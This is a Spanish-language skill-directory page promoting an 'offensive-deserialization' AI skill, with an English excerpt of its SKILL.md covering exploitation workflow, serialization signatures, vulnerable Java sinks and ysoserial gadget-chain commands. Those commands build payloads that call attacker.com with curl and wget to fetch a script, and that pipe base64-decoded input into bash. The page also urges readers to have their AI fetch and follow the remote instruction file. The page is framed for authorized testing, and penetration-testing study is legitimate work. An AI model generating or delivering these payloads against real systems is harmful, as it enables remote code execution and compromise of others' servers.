Saltar al contenido
Skillpedia
Seguridad10 mil · #11976

offensive-deserialization

Qué hace

Esta skill explica los fallos de deserialización insegura, en los que una app reconstruye objetos a partir de datos no confiables. Cubre cómo detectar los puntos de entrada arriesgados en los principales lenguajes. Es para profesionales de seguridad que prueban aplicaciones con permiso.

Cuándo usarla

  • ✓Cuando una prueba autorizada muestra que una app acepta datos serializados en cookies, peticiones o mensajes.
  • ✓Cuando quieres identificar el lenguaje y el formato usados para los objetos serializados de una app.
  • ✓Cuando necesitas explicar a los desarrolladores el riesgo de una deserialización insegura.

Link de la skill

https://github.com/SnailSploit/Claude-Red/blob/main/Skills/web/offensive-deserialization/SKILL.md

Cópialo y pégalo en tu IA (Claude, ChatGPT o Cursor) pidiéndole que siga las instrucciones.

Cómo usar

La forma más fácil: copia el mensaje y pégalo en tu IA. Ella lee la skill y sigue las instrucciones.

Mensaje listo para pegar

Usa esta skill para ayudarme: https://github.com/SnailSploit/Claude-Red/blob/main/Skills/web/offensive-deserialization/SKILL.md Lee el archivo SKILL.md de ese link y sigue sus instrucciones en mi tarea.
¿Quieres que tu IA encuentre skills como esta por sí sola?Instala el MCP gratis de Skillpedia: una línea, y busca entre 15.000+ skills antes de cada tarea.Instalar en 1 minuto →

Ejemplo de qué pedirle a la IA

“Tenemos autorización para probar nuestra app de Java. Encuentra dónde deserializa datos de los usuarios y explica el riesgo.”

5 skills nuevas por semana. 1 minuto de lectura.

Cómo funciona

La skill encuentra cada punto de entrada que acepta datos serializados, identifica su formato y su lenguaje, y después evalúa el riesgo. Empieza con una prueba inofensiva de ejecución y documenta la cadena completa.

Contenido técnico (SKILL.md original)

Texto original del autor, en inglés, directo de GitHub.

Offensive Deserialization

Deserialization vulnerabilities arise when an application reconstructs objects from serialized byte streams without validating the type, integrity, or origin of the data. Object reconstruction triggers constructors, finalizers, and language-specific magic methods, so an attacker who controls the serialized input often achieves remote code execution before any application-level validation runs.

Quick Workflow

  1. Enumerate every entry point accepting opaque binary or encoded data -- cookies, HTTP bodies, headers, message queue messages, file uploads, GraphQL custom scalars, gRPC fields, JMX/RMI endpoints.
  2. Fingerprint the serialization format via magic bytes, content-type headers, and error behavior (see Recognition Signatures).
  3. Determine the server-side language and framework version from error pages, HTTP headers, or source code.
  4. Select candidate gadget chains matching the target classpath or installed packages. Generate payloads with ysoserial, phpggc, ysoserial.net, or manual construction.
  5. Deliver through the identified entry point. Start with DNS-only or sleep-based proof to confirm execution without destructive side effects.
  6. Escalate from proof-of-concept to the engagement objective with authorization.
  7. Document the full chain: entry point, format, gadget chain, library versions, proof.

Recognition Signatures

Format Signature Notes
Java ObjectInputStream Hex ac ed 00 05, Base64 rO0AB Cookies, POST bodies, JMX/RMI streams
PHP serialize O:<len>:"ClassName": or a:<count>:{ Frequently Base64-wrapped in cookies
.NET BinaryFormatter Base64 AAEAAAD///// ViewState, remoting, session state
Python pickle Opcodes \x80\x04\x95 (v4+), older (dp0 text Redis caches, Celery tasks, ML pipelines
Ruby Marshal \x04\x08 leading bytes Session cookies in older Rails apps
YAML (any lang) --- !ruby/object: or !!python/object/apply: Tag-based instantiation
Java XMLDecoder <?xml with <java> or <object class= Legacy Java admin panels
.NET Json.NET "$type": key in JSON TypeNameHandling != None
Java Jackson ["class.name", { JSON array wrapper enableDefaultTyping / polymorphic handling

Java Deserialization

ObjectInputStream.readObject() instantiates arbitrary classes present on the classpath. Decades of library code provide usable gadget chains.

Identifying Sinks

// Direct ObjectInputStream usage
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject();

// XMLDecoder -- equally dangerous, often overlooked
XMLDecoder decoder = new XMLDecoder(inputStream);
Object obj = decoder.readObject();

// XStream without allowlist
XStream xstream = new XStream();
Object obj = xstream.fromXML(userInput);

// Jackson polymorphic typing -- CVE-2017-7525 and successors
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();

// Jackson @JsonTypeInfo on base class
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
public abstract class BaseCommand { }

// JMX/RMI endpoints -- default port 1099, often unauthenticated

serialVersionUID and Classpath Constraints

Every serializable Java class carries a serialVersionUID. A mismatch causes InvalidClassException before any gadget logic executes. Extract the server's UID from error messages or decompiled JARs, then rebuild the payload with ysoserial's source. The UID often changes only on major releases, so brute-forcing common versions is feasible when the exact version is unknown.

ysoserial Gadget Chains

Match the chain to libraries present on the target classpath.

# CommonsCollections -- most widely applicable
# CC1: commons-collections 3.1, JDK < 8u72
java -jar ysoserial.jar CommonsCollections1 'curl http://attacker.com/cb' > payload.bin
# CC5: later JDK versions where CC1 is patched
java -jar ysoserial.jar CommonsCollections5 'curl http://attacker.com/cb' > payload.bin
# CC7: Hashtable entry point, bypasses some ObjectInputFilter rules
java -jar ysoserial.jar CommonsCollections7 'id > /tmp/proof.txt' > payload.bin

# Spring chain -- requires spring-core + spring-beans
java -jar ysoserial.jar Spring1 'wget http://attacker.com/s.sh -O /tmp/s.sh' > payload.bin
# Hibernate chain -- requires hibernate-core
java -jar ysoserial.jar Hibernate1 'bash -c {echo,BASE64}|{base64,-d}|bash' > payload.bin
# CommonsBeanutils -- present in ma
Preguntas frecuentes

¿Cubre un solo lenguaje?

No. Cubre Java, PHP, .NET, Python, Node.js y Ruby.

¿Usa pruebas dañinas?

La skill empieza con una prueba no destructiva, como una comprobación solo por DNS, antes de cualquier paso posterior.

¿Es solo para pruebas autorizadas?

Sí. Está escrita para pruebas con permiso por escrito.

Detalles

Descripción original del autor

Insecure deserialization exploitation across Java, PHP, .NET, Python, Node.js, and Ruby. Covers gadget chain construction with ysoserial/phpggc/ysoserial.net, ObjectInputStream and BinaryFormatter sink identification, pickle __reduce__ RCE, phar:// wrapper abuse, Jackson polymorphic typing, Json.NET TypeNameHandling, ViewState tampering, node-serialize IIFE injection, Ruby Marshal.load and YAML.load gadgets, framework-specific chains for Spring/Hibernate/Laravel/Symfony, modern attack surfaces including Kubernetes admission webhooks and message queue consumers, WAF bypass through encoding laye

repo: SnailSploit/Claude-Red

Popularidad

Estrellas en GitHub
10 mil
Posición en el ranking
#11976
Licencia
MIT
Actualizada
12/10/2026

¿Te sirve esta skill?

0

Entra para votar.

Comentarios

  • …

Más skills de este repositorio

Skills parecidas